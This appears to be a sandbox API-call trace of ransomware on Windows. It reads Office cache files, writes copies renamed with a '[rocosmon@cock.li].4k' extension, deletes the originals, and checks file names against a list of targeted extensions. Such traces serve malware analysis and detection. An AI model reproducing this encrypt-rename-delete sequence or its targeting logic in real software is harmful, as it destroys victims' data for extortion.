	[0100.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0100.272] GetLastError () returned 0x0
	[0100.272] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0xccb88, lpOverlapped=0x0) returned 1
	[0100.731] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xccb90, lpOverlapped=0x0) returned 1
	[0100.748] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.748] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0100.748] SetEndOfFile (hFile=0x1f8) returned 1
	[0100.871] CloseHandle (hObject=0x1f8) returned 1
	[0100.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.871] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.880] CloseHandle (hObject=0x1fc) returned 1
	[0100.880] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.880] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1
	[0101.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.044] lstrlenW (lpString=".doc") returned 4
	[0101.044] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0101.044] lstrlenW (lpString=".docx") returned 5
	[0101.044] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0101.044] lstrlenW (lpString=".pdf") returned 4
	[0101.044] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0101.044] lstrlenW (lpString=".xls") returned 4
	[0101.044] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0101.044] lstrlenW (lpString=".xlsx") returned 5
	[0101.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0101.044] lstrlenW (lpString=".ppt") returned 4
	[0101.044] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0101.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.044] lstrlenW (lpString=".zip") returned 4
	[0101.045] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0101.045] lstrlenW (lpString=".rar") returned 4
	[0101.045] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0101.045] lstrlenW (lpString=".bz2") returned 4
	[0101.045] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0101.045] lstrlenW (lpString=".7z") returned 3
	[0101.045] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0101.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.045] lstrlenW (lpString=".dbf") returned 4
	[0101.045] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0101.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.045] lstrlenW (lpString=".1cd") returned 4
	[0101.045] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0101.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.045] lstrlenW (lpString=".jpg") returned 4
	[0101.045] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0101.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.045] lstrlenW (lpString=".doc") returned 4
	[0101.045] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0101.045] lstrlenW (lpString=".docx") returned 5
	[0101.045] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0101.045] lstrlenW (lpString=".pdf") returned 4
	[0101.045] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0101.045] lstrlenW (lpString=".xls") returned 4
	[0101.046] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0101.046] lstrlenW (lpString=".xlsx") returned 5
	[0101.046] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0101.049] lstrlenW (lpString=".ppt") returned 4
	[0101.049] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0101.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.049] lstrlenW (lpString=".zip") returned 4
	[0101.049] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0101.049] lstrlenW (lpString=".rar") returned 4
	[0101.049] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0101.049] lstrlenW (lpString=".bz2") returned 4
	[0101.049] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0101.049] lstrlenW (lpString=".7z") returned 3
	[0101.049] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0101.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.050] lstrlenW (lpString=".dbf") returned 4
	[0101.050] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0101.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.050] lstrlenW (lpString=".1cd") returned 4
	[0101.050] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0101.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0101.050] lstrlenW (lpString=".jpg") returned 4
	[0101.050] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0101.050] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0101.050] lstrlenW (lpString="OfficeMUISet.msi") returned 16
	[0101.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.050] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=868864) returned 1
	[0101.050] CloseHandle (hObject=0x200) returned 1
	[0101.051] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020
	[0101.051] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.051] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.051] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.051] GetLastError () returned 0x0
	[0101.052] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0101.321] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0101.335] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.335] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0101.335] SetEndOfFile (hFile=0x1d8) returned 1
	[0101.335] CloseHandle (hObject=0x1d8) returned 1
	[0101.335] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.335] SetEndOfFile (hFile=0x200) returned 1
	[0101.529] CloseHandle (hObject=0x200) returned 1
	[0101.530] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.530] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1
	[0101.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.530] lstrlenW (lpString=".doc") returned 4
	[0101.530] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.530] lstrlenW (lpString=".docx") returned 5
	[0101.530] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0101.530] lstrlenW (lpString=".pdf") returned 4
	[0101.530] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.530] lstrlenW (lpString=".xls") returned 4
	[0101.530] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.530] lstrlenW (lpString=".xlsx") returned 5
	[0101.531] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0101.531] lstrlenW (lpString=".ppt") returned 4
	[0101.531] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString=".zip") returned 4
	[0101.535] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.535] lstrlenW (lpString=".rar") returned 4
	[0101.535] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.535] lstrlenW (lpString=".bz2") returned 4
	[0101.535] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.535] lstrlenW (lpString=".7z") returned 3
	[0101.535] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString=".dbf") returned 4
	[0101.535] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString=".1cd") returned 4
	[0101.535] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString=".jpg") returned 4
	[0101.535] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.535] lstrlenW (lpString=".doc") returned 4
	[0101.535] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.535] lstrlenW (lpString=".docx") returned 5
	[0101.535] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0101.535] lstrlenW (lpString=".pdf") returned 4
	[0101.536] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.536] lstrlenW (lpString=".xls") returned 4
	[0101.536] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.536] lstrlenW (lpString=".xlsx") returned 5
	[0101.536] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0101.536] lstrlenW (lpString=".ppt") returned 4
	[0101.536] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.536] lstrlenW (lpString=".zip") returned 4
	[0101.536] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.536] lstrlenW (lpString=".rar") returned 4
	[0101.536] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.536] lstrlenW (lpString=".bz2") returned 4
	[0101.536] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.536] lstrlenW (lpString=".7z") returned 3
	[0101.536] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.536] lstrlenW (lpString=".dbf") returned 4
	[0101.536] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.536] lstrlenW (lpString=".1cd") returned 4
	[0101.536] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0101.536] lstrlenW (lpString=".jpg") returned 4
	[0101.536] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.536] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0101.537] lstrlenW (lpString="AccessMUISet.msi") returned 16
	[0101.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.537] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=868864) returned 1
	[0101.537] CloseHandle (hObject=0x200) returned 1
	[0101.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020
	[0101.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0101.537] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.537] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0101.538] GetLastError () returned 0x0
	[0101.538] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0101.645] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0101.882] ReadFile (in: hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.882] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0101.882] SetEndOfFile (hFile=0x1fc) returned 1
	[0101.882] CloseHandle (hObject=0x1fc) returned 1
	[0101.882] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.882] SetEndOfFile (hFile=0x200) returned 1
	[0101.890] CloseHandle (hObject=0x200) returned 1
	[0101.890] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.890] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1
	[0101.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.890] lstrlenW (lpString=".doc") returned 4
	[0101.890] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.890] lstrlenW (lpString=".docx") returned 5
	[0101.890] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0101.890] lstrlenW (lpString=".pdf") returned 4
	[0101.890] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.890] lstrlenW (lpString=".xls") returned 4
	[0101.890] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.890] lstrlenW (lpString=".xlsx") returned 5
	[0101.890] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0101.891] lstrlenW (lpString=".ppt") returned 4
	[0101.891] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString=".zip") returned 4
	[0101.891] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.891] lstrlenW (lpString=".rar") returned 4
	[0101.891] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.891] lstrlenW (lpString=".bz2") returned 4
	[0101.891] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.891] lstrlenW (lpString=".7z") returned 3
	[0101.891] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString=".dbf") returned 4
	[0101.891] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString=".1cd") returned 4
	[0101.891] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString=".jpg") returned 4
	[0101.891] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.891] lstrlenW (lpString=".doc") returned 4
	[0101.891] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0101.891] lstrlenW (lpString=".docx") returned 5
	[0101.891] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0101.891] lstrlenW (lpString=".pdf") returned 4
	[0101.891] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0101.891] lstrlenW (lpString=".xls") returned 4
	[0101.891] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0101.891] lstrlenW (lpString=".xlsx") returned 5
	[0101.891] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0101.892] lstrlenW (lpString=".ppt") returned 4
	[0101.892] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0101.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.892] lstrlenW (lpString=".zip") returned 4
	[0101.892] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0101.892] lstrlenW (lpString=".rar") returned 4
	[0101.892] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0101.892] lstrlenW (lpString=".bz2") returned 4
	[0101.892] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0101.892] lstrlenW (lpString=".7z") returned 3
	[0101.892] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0101.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.892] lstrlenW (lpString=".dbf") returned 4
	[0101.892] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0101.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.892] lstrlenW (lpString=".1cd") returned 4
	[0101.892] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0101.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0101.892] lstrlenW (lpString=".jpg") returned 4
	[0101.892] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
